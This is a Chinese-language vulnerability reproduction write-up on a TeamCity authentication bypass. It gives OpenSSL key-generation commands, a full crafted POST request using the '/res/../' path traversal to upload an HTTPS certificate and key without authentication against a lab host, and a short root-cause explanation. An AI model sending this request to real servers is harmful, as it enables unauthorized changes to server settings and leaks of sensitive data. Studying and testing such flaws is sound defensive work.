TeamCity Web 服务器中发现了第二个身份验证绕过漏洞。这种身份验证旁路允许在没有身份验证的情况下访问有限数量的经过身份验证的端点。未经身份验证的攻击者可以利用此漏洞修改服务器上有限数量的系统设置,并泄露服务器上有限数量的敏感信息。
项目官网下载地址Other Versions - TeamCity
参考链接:
< 2023.11.4
1,服务信息泄露

2.HTTPS 证书上传
使用 OpenSSL 生成和处理 ECDSA 密钥对和证书
openssl ecparam -name prime256v1 -genkey -noout -out private-eckey.pem openssl ec -in private-eckey.pem -pubout -out public-key.pem openssl req -new -x509 -key private-eckey.pem -out cert.pem -days 360 openssl pkcs8 -topk8 -nocrypt -in private-eckey.pem -out hax.key
运行上面的命令生成如下文件

构造如下包,上传HTTPS 证书并设定8443端口
- POST /res/../app/https/settings/uploadCertificate HTTP/1.1
- Host: 192.168.116.128:8111
- Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4d5hF7eNFFbgJoAC
- Content-Length: 1576
-
- ------WebKitFormBoundary4d5hF7eNFFbgJoAC
- Content-Disposition: form-data; name="certificate"; filename="cert.pem"
- Content-Type: application/octet-stream
-
- -----BEGIN CERTIFICATE-----
- MIICYjCCAgegAwIBAgIUFHRabDe2dTOHNe8at5fDfsigDJwwCgYIKoZIzj0EAwIw
- gYUxCzAJBgNVBAYTAmNuMQswCQYDVQQIDAJobjENMAsGA1UEBwwEbmFtZTEQMA4G
- A1UECgwHY29tcGFueTESMBAGA1UECwwJdW5pdCBuYW1lMRQwEgYDVQQDDAtjb21t
- b24tbmFtZTEeMBwGCSqGSIb3DQEJARYPYWRtaW5AYWRtaW4uY29tMB4XDTI0MDMx
- MTA3NTQwN1oXDTI1MDMwNjA3NTQwN1owgYUxCzAJBgNVBAYTAmNuMQswCQYDVQQI
- DAJobjENMAsGA1UEBwwEbmFtZTEQMA4GA1UECgwHY29tcGFueTESMBAGA1UECwwJ
- dW5pdCBuYW1lMRQwEgYDVQQDDAtjb21tb24tbmFtZTEeMBwGCSqGSIb3DQEJARYP
- YWRtaW5AYWRtaW4uY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEMJ6RI0Xj
- dm72v2AjYl0SGBPAC/TqXHbdSyJSzqDmsH1Du/M8vlBkO1QYnNbcuiqnvEHnfea4
- WlDf5a1XnSQBB6NTMFEwHQYDVR0OBBYEFIP5qYGpT7CujDvYGCNtsCiycOmdMB8G
- A1UdIwQYMBaAFIP5qYGpT7CujDvYGCNtsCiycOmdMA8GA1UdEwEB/wQFMAMBAf8w
- CgYIKoZIzj0EAwIDSQAwRgIhAMcfVmbn711/5hOhnryKro9XH5m77DK/vmBvR0mk
- SIYVAiEApXhoDMQiv/0NVbZrOyW+c6oMSlg3CuKtAj6Sd5hxWR0=
- -----END CERTIFICATE-----
-
- ------WebKitFormBoundary4d5hF7eNFFbgJoAC
- Content-Disposition: form-data; name="key"; filename="hax.key"
- Content-Type: application/octet-stream
-
- -----BEGIN PRIVATE KEY-----
- MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgflqLec/N8uvpqGUK
- Z7sGvs81dBDffRUw+ufigYq016ChRANCAAQwnpEjReN2bva/YCNiXRIYE8AL9Opc
- dt1LIlLOoOawfUO78zy+UGQ7VBic1ty6Kqe8Qed95rhaUN/lrVedJAEH
- -----END PRIVATE KEY-----
-
- ------WebKitFormBoundary4d5hF7eNFFbgJoAC
- Content-Disposition: form-data; name="port"
-
- 8443
- ------WebKitFormBoundary4d5hF7eNFFbgJoAC--
-

后台验证下证书是否上传

或者直接访问https://192.168.116.128:8443/

产生漏洞的原因是该系统采用了spring框架,该框架在处理url时遇到url中的../会自行解析再次拼接,这可能会产生某些某些判断机制绕过的现象。其中/res/下的路径不需要认证就可以被服务器去请求,有如下定义


/app/https/settings/**有如下定义
